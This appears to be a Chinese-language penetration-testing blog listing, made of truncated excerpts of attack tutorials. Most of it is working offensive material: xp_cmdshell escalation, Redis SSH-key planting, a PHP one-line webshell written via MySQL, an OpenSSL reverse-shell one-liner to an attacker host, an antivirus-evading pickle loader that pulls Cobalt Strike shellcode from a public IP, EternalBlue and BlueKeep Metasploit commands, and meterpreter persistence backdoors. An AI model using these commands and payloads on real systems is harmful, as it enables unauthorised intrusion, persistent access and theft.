SQL SERVER 提权与总结
sql server提权主要依赖于sql server自带的存储过程`。存储过程主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。
系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀
xp_cmdshell提权
xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。
想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。其中xp_cmdshell的提权前提为两个:
拿到sa权限的账户密码
sqlserver服务未降权
使用账号密码登录成功后,先检查xp_cmdshell是否存在。
1select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
...
SID简记
前言SID是标识用户、组和计算机帐户的唯一的号码,在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。Windows 2000 中的内部进程将引用帐户的 SID 而不是帐户的用户或组名
SID组成
用户和组的安全描述
48-bit的ID authority
修订版本
可变的验证值Variable sub-authority values
例:S-1-5-21-310440588-250036847-580389505-500
第一项S表示该字符串是SID;第二项是SID的版本号,,对于2000来说,这个就是1;然后是标志符的颁发机构(identifier authority),对于2000内的帐户,颁发机构就是NT,值是5。然后表示一系列的子颁发机构,前面几项是标志域的,最后一个标志着域内的帐户和组。
获取SID在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\Members,找到本地的域的代码,展开后,得到的就是本地帐号的所有SID列表。
其中很多值都是固定的,比如第一个000001F4(16进制),换算成十进 ...
redis写入公钥实现无密码登录
生成本地的公钥
1ssh-keygen
连接数据库
1redis-cli -h 192.168.88.136
刷新数据库
1redis-cli -h 192.168.88.136 flushall
向redis写入公钥
1cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis
利用redis写入到文件里面
连接redis
1redis-cli -h 192.168.88.136
查看keys
1192.168.88.136>keys *
写入配置库的路径及存放位置
1192.168.88.136>CONFIG SET dir /root/.ssh/
写入配置库名称以及存放的名称
1192.168.88.136>CONFIG SET dbfilename "authorized_keys"
写入
1192.168.88.136>save
退出
1192.168.88.136>exit
phpMyAdmin后台文件包含
查看MySQL是否限制导入导
1show global variables like '%secure%';
查看MySQL日志状态
1show variables like '%general%';
利用日志文件写入一句话木马 开启general_log :
1set global general_log='on';
尝试直接通过into outfile写入一句话木马,访问执行成功
1select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shyy.php';
OpenSSL流量加密
1、在攻击机上使用OpenssL生成证书
1openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
开启监听。
1openssl s_server -quiet -key key.pem -cert cert.pem -port 8088
2、目标机上执行命令
1mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:端口> /tmp/s; rm /tmp/s
Python反序列化免杀上线CS
1.用cs生成python 版本的payload,复制其中的shellcode,并对其进行base64编码,将其存入到文本py.txt中,并将其放置到公网服务器上,使得靶机能够访问该文件。
2.使用以下的脚本将payload进行反序列化,获得其打印出来的字符串
12345678910111213141516171819202122232425262728293031323334353637383940414243import pickle import base64 shellcode = """import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen('http://49.232.58.29:7777/py.txt').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray( ...
MSF自动脚本以及进程迁移
手动迁移
在meterpreter中执行ps命令查看目标机器的进程,使用migrate这个命令将进程进行迁移,migrate的参数可以是pid也可以是进程的名称。我们将进程迁移到explorer.exe(任务管理器)中可以执行migrate 2228或migrate -P 2228(pid根据实际情况而定),还可以执行migrate -N explorer.exe。
再次执行ps发现原始反弹shell的进程已经消失
自动迁移
指一反弹shell就自动执行进程迁移命令,在配置监听器的时候可以设置
123set autorunscript migrate -N explorer.exe(指定进程)或set autorunscript -f(默认迁移到notepad进程)
我们可以通过输入set AutoRunScript [script-name]来设置AutoRunScript的选项,也可以在资源脚本中直接设置,后者一次性自动完成全部渗透操作和后渗透操作。
通过使用multi_script和multi_console_command模块,AutoRunScript还可以一次性运行多个 ...
msfconsole 使用技巧
将msf代理到内网中,使用命令
1setg Proxies socks5:你的socksIP:端口
MSF 扫描到的资产或者漏洞保存在数据库,方便我们梳理,常用的就是这两个语句:
1services 查看扫描到的资产IP及端口
1vulns 查看扫描到的漏洞资产
关于永恒之蓝的利用
如果目标操作系统是 Win7x64、2008x64 的,可以直接使用正向代理 exploit 利用模块打过去:
123use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcprun
要是目标系统是 2003x32、Win7x32 的只能使用这个模块去执行命令
123use auxiliary/admin/smb/ms17_010_commandset command whoamirun
CVE-2019-0708-远程代码执行
目标开启了 3389,且未打补丁
12use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ...
netsh命令使用
win中的netsh使用
netsh端口转发
将192.168.1.8的14941口转发到192.168.1.118的1494端口
netsh interface ipv6 installnetsh interface portproxy add v4tov4 listenaddress=192.168.1.8 listenport = 14941 connectaddress =192.168.1.118 connectport 1494
取消端口转发netsh interface portproxy delete v4tov4 istenaddress=192.168.1.8 listenport = 14941
如果想查看已经配置了哪些端口转发,可以用如下语句:netsh interface portproxy show v4tov4
Linux中的netsh
netsh端口转发
首先开启内核转发echo 1 >/proc/sys/net/ipv4/ip_forwardsysctl -p //使之立即生效
配置iptables进行端口转发iptables -t ...
Msf后门持久化
在与目标设备的meterpreter会话中创建一个持久后门(此后门将重新生成一个木马文件,并且该文件将周期性向服务端发送TCP请求)
方法:
1run persistence -U -i 5 -p 123 -r 192.168.43.75
1234-U 用户登录时自动启动该木马-i 每次连接尝试之间的时间间隔(秒)-p 运行Metasploit的系统正在侦听的端口-r 运行Metasploit监听连接的系统的IP
此时就可以放心的断开与目标设备的session了,目标设备将周期性的向本机发送TCP请求,下次想连接此设备时只需做以下操作:
123456use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.43.75set exitonsession false (这个如果不设置为false的话,只要建立了一个session后就不再继续监听,想要再连接其他session需要再次run。反之,如果设为false,建立了一个session后还会继续监听,无需run ...

